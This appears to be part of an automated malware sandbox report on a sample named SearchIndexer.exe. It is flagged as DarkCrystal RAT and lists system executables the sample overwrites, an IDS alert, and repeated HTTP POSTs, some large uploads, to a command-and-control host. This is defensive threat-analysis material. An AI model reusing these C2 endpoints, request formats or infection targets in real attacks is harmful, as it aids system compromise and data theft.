                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\AutoIt3\Uninstall.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MpCmdRun.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\AutoIt3\Au3Info.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\aimgr.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Windows\Config\Jump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Jump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Windows\Jump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Windows\GatherLogs\SystemIndex\Jump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Windows\GatherLogs\Jump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Jump to behavior

                              Networking

                              barindex
                              Suricata IDS alerts for network traffic
                              Source: Network trafficSuricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49736 -> 37.44.238.250:80
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 384Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 1652Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 1904Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 153484Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 1904Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2568Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 540Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IrmqyKZIOWMKVSdnVClksD11m5zJeoQlfDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 156954Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2000Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 540Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 1980Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: multipart/form-data; boundary=----3oAOdiIl49AxLPl4c1kCJFK8qkwOizznqmUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 160842Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 1964Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 1988Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 540Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: multipart/form-data; boundary=----txODKz6lx49CKK1Hxz0SL902Os8Fm8KoiiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 309958Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 1980Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2000Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 540Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 540Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ELP8RQGL7rq4dyz37ytq6Jy6kfZHKys2tNUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 156290Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: multipart/form-data; boundary=----jF9mUG8SCn1eKVUfYoaA4XfOYD5AXvh445User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 156246Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 1952Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
